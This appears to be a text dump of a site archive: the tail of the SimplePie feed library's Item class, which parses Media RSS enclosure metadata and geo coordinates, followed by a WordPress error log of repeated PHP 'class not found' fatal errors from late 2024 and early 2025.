                            foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'] as $caption) {
                                $caption_type = null;
                                $caption_lang = null;
                                $caption_startTime = null;
                                $caption_endTime = null;
                                $caption_text = null;
                                if (isset($caption['attribs']['']['type'])) {
                                    $caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($caption['attribs']['']['lang'])) {
                                    $caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($caption['attribs']['']['start'])) {
                                    $caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($caption['attribs']['']['end'])) {
                                    $caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($caption['data'])) {
                                    $caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                $captions[] = $this->registry->create(Caption::class, [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]);
                            }
                            if (is_array($captions)) {
                                $captions = array_values(array_unique($captions));
                            }
                        } else {
                            $captions = $captions_parent;
                        }

                        // CATEGORIES
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'])) {
                            foreach ((array) $content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'] as $category) {
                                $term = null;
                                $scheme = null;
                                $label = null;
                                if (isset($category['data'])) {
                                    $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($category['attribs']['']['scheme'])) {
                                    $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                } else {
                                    $scheme = 'http://search.yahoo.com/mrss/category_schema';
                                }
                                if (isset($category['attribs']['']['label'])) {
                                    $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                $categories[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
                            }
                        }
                        if (is_array($categories) && is_array($categories_parent)) {
                            $categories = array_values(array_unique(array_merge($categories, $categories_parent)));
                        } elseif (is_array($categories)) {
                            $categories = array_values(array_unique($categories));
                        } elseif (is_array($categories_parent)) {
                            $categories = array_values(array_unique($categories_parent));
                        } else {
                            $categories = null;
                        }

                        // COPYRIGHTS
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'])) {
                            $copyright_url = null;
                            $copyright_label = null;
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) {
                                $copyright_url = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'])) {
                                $copyright_label = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            $copyrights = $this->registry->create(Copyright::class, [$copyright_url, $copyright_label]);
                        } else {
                            $copyrights = $copyrights_parent;
                        }

                        // CREDITS
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'])) {
                            foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'] as $credit) {
                                $credit_role = null;
                                $credit_scheme = null;
                                $credit_name = null;
                                if (isset($credit['attribs']['']['role'])) {
                                    $credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($credit['attribs']['']['scheme'])) {
                                    $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                } else {
                                    $credit_scheme = 'urn:ebu';
                                }
                                if (isset($credit['data'])) {
                                    $credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                $credits[] = $this->registry->create(Credit::class, [$credit_role, $credit_scheme, $credit_name]);
                            }
                            if (is_array($credits)) {
                                $credits = array_values(array_unique($credits));
                            }
                        } else {
                            $credits = $credits_parent;
                        }

                        // DESCRIPTION
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'])) {
                            $description = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        } else {
                            $description = $description_parent;
                        }

                        // HASHES
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'])) {
                            foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'] as $hash) {
                                $value = null;
                                $algo = null;
                                if (isset($hash['data'])) {
                                    $value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($hash['attribs']['']['algo'])) {
                                    $algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                } else {
                                    $algo = 'md5';
                                }
                                $hashes[] = $algo.':'.$value;
                            }
                            if (is_array($hashes)) {
                                $hashes = array_values(array_unique($hashes));
                            }
                        } else {
                            $hashes = $hashes_parent;
                        }

                        // KEYWORDS
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'])) {
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'])) {
                                $temp = explode(',', $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                                foreach ($temp as $word) {
                                    $keywords[] = trim($word);
                                }
                                unset($temp);
                            }
                            if (is_array($keywords)) {
                                $keywords = array_values(array_unique($keywords));
                            }
                        } else {
                            $keywords = $keywords_parent;
                        }

                        // PLAYER
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'])) {
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'])) {
                                $playerElem = $content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'][0];
                                $player = $this->sanitize($playerElem['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($playerElem));
                            }
                        } else {
                            $player = $player_parent;
                        }

                        // RATINGS
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'])) {
                            foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'] as $rating) {
                                $rating_scheme = null;
                                $rating_value = null;
                                if (isset($rating['attribs']['']['scheme'])) {
                                    $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                } else {
                                    $rating_scheme = 'urn:simple';
                                }
                                if (isset($rating['data'])) {
                                    $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                $ratings[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
                            }
                            if (is_array($ratings)) {
                                $ratings = array_values(array_unique($ratings));
                            }
                        } else {
                            $ratings = $ratings_parent;
                        }

                        // RESTRICTIONS
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'])) {
                            foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'] as $restriction) {
                                $restriction_relationship = null;
                                $restriction_type = null;
                                $restriction_value = null;
                                if (isset($restriction['attribs']['']['relationship'])) {
                                    $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($restriction['attribs']['']['type'])) {
                                    $restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($restriction['data'])) {
                                    $restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                $restrictions[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
                            }
                            if (is_array($restrictions)) {
                                $restrictions = array_values(array_unique($restrictions));
                            }
                        } else {
                            $restrictions = $restrictions_parent;
                        }

                        // THUMBNAILS
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'])) {
                            foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) {
                                if (isset($thumbnail['attribs']['']['url'])) {
                                    $thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($thumbnail));
                                }
                            }
                            if (is_array($thumbnails)) {
                                $thumbnails = array_values(array_unique($thumbnails));
                            }
                        } else {
                            $thumbnails = $thumbnails_parent;
                        }

                        // TITLES
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'])) {
                            $title = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        } else {
                            $title = $title_parent;
                        }

                        $this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width]);
                    }
                }
            }

            foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'link') as $link) {
                if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] === 'enclosure') {
                    // Attributes
                    $bitrate = null;
                    $channels = null;
                    $duration = null;
                    $expression = null;
                    $framerate = null;
                    $height = null;
                    $javascript = null;
                    $lang = null;
                    $length = null;
                    $medium = null;
                    $samplingrate = null;
                    $type = null;
                    $url = null;
                    $width = null;

                    $url = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($link));
                    if (isset($link['attribs']['']['type'])) {
                        $type = $this->sanitize($link['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($link['attribs']['']['length'])) {
                        $length = intval($link['attribs']['']['length']);
                    }
                    if (isset($link['attribs']['']['title'])) {
                        $title = $this->sanitize($link['attribs']['']['title'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    } else {
                        $title = $title_parent;
                    }

                    // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
                    $this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title, $width]);
                }
            }

            foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'link') as $link) {
                if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] === 'enclosure') {
                    // Attributes
                    $bitrate = null;
                    $channels = null;
                    $duration = null;
                    $expression = null;
                    $framerate = null;
                    $height = null;
                    $javascript = null;
                    $lang = null;
                    $length = null;
                    $medium = null;
                    $samplingrate = null;
                    $type = null;
                    $url = null;
                    $width = null;

                    $url = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($link));
                    if (isset($link['attribs']['']['type'])) {
                        $type = $this->sanitize($link['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($link['attribs']['']['length'])) {
                        $length = intval($link['attribs']['']['length']);
                    }

                    // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
                    $this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width]);
                }
            }

            foreach ($this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'enclosure') ?? [] as $enclosure) {
                if (isset($enclosure['attribs']['']['url'])) {
                    // Attributes
                    $bitrate = null;
                    $channels = null;
                    $duration = null;
                    $expression = null;
                    $framerate = null;
                    $height = null;
                    $javascript = null;
                    $lang = null;
                    $length = null;
                    $medium = null;
                    $samplingrate = null;
                    $type = null;
                    $url = null;
                    $width = null;

                    $url = $this->sanitize($enclosure['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($enclosure));
                    $url = $this->get_sanitize()->https_url($url);
                    if (isset($enclosure['attribs']['']['type'])) {
                        $type = $this->sanitize($enclosure['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($enclosure['attribs']['']['length'])) {
                        $length = intval($enclosure['attribs']['']['length']);
                    }

                    // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
                    $this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width]);
                }
            }

            if (count($this->data['enclosures']) === 0 && ($url || $type || $length || $bitrate || $captions_parent || $categories_parent || $channels || $copyrights_parent || $credits_parent || $description_parent || $duration_parent || $expression || $framerate || $hashes_parent || $height || $keywords_parent || $lang || $medium || $player_parent || $ratings_parent || $samplingrate || $thumbnails_parent || $title_parent || $width)) {
                // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
                $this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width]);
            }

            $this->data['enclosures'] = array_values(array_unique($this->data['enclosures']));
        }
        if (!empty($this->data['enclosures'])) {
            return $this->data['enclosures'];
        }

        return null;
    }

    /**
     * Get the latitude coordinates for the item
     *
     * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
     *
     * Uses `<geo:lat>` or `<georss:point>`
     *
     * @since 1.0
     * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
     * @link http://www.georss.org/ GeoRSS
     * @return float|null
     */
    public function get_latitude()
    {
        if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'lat')) {
            return (float) $return[0]['data'];
        } elseif (($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
            return (float) $match[1];
        }

        return null;
    }

    /**
     * Get the longitude coordinates for the item
     *
     * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
     *
     * Uses `<geo:long>`, `<geo:lon>` or `<georss:point>`
     *
     * @since 1.0
     * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
     * @link http://www.georss.org/ GeoRSS
     * @return float|null
     */
    public function get_longitude()
    {
        if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'long')) {
            return (float) $return[0]['data'];
        } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'lon')) {
            return (float) $return[0]['data'];
        } elseif (($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
            return (float) $match[2];
        }

        return null;
    }

    /**
     * Get the `<atom:source>` for the item
     *
     * @since 1.1
     * @return \SimplePie\Source|null
     */
    public function get_source()
    {
        if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'source')) {
            return $this->registry->create(Source::class, [$this, $return[0]]);
        }

        return null;
    }

    public function set_sanitize(Sanitize $sanitize): void
    {
        $this->sanitize = $sanitize;
    }

    protected function get_sanitize(): Sanitize
    {
        if ($this->sanitize === null) {
            $this->sanitize = new Sanitize();
        }

        return $this->sanitize;
    }
}

class_alias('SimplePie\Item', 'SimplePie_Item');
error_log000064400000354675152222652070006510 0ustar00[16-Nov-2024 04:22:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[16-Nov-2024 04:22:21 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[16-Nov-2024 04:22:22 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[16-Nov-2024 04:22:22 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[16-Nov-2024 04:22:32 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[16-Nov-2024 04:22:39 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[17-Nov-2024 02:05:49 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[17-Nov-2024 02:05:56 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[17-Nov-2024 02:05:57 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[17-Nov-2024 02:06:06 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[17-Nov-2024 02:06:06 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[17-Nov-2024 02:06:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[19-Nov-2024 00:31:18 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[19-Nov-2024 00:31:20 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[19-Nov-2024 00:31:20 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[19-Nov-2024 00:31:20 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[19-Nov-2024 00:31:25 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[19-Nov-2024 00:31:25 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[08-Dec-2024 16:07:10 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[08-Dec-2024 16:07:41 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[08-Dec-2024 16:07:47 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[08-Dec-2024 16:07:54 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[08-Dec-2024 16:08:22 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[08-Dec-2024 16:08:41 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[14-Dec-2024 08:31:06 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[14-Dec-2024 08:31:19 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[14-Dec-2024 08:31:20 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[14-Dec-2024 08:31:21 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[14-Dec-2024 08:31:24 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[14-Dec-2024 08:31:27 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[16-Jan-2025 06:50:22 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[16-Jan-2025 06:51:29 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[16-Jan-2025 06:51:37 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[16-Jan-2025 06:52:15 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[16-Jan-2025 06:52:28 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[16-Jan-2025 06:52:37 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[16-Jan-2025 07:51:09 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[16-Jan-2025 07:51:59 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[16-Jan-2025 07:52:00 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[16-Jan-2025 07:52:10 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[16-Jan-2025 07:52:12 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
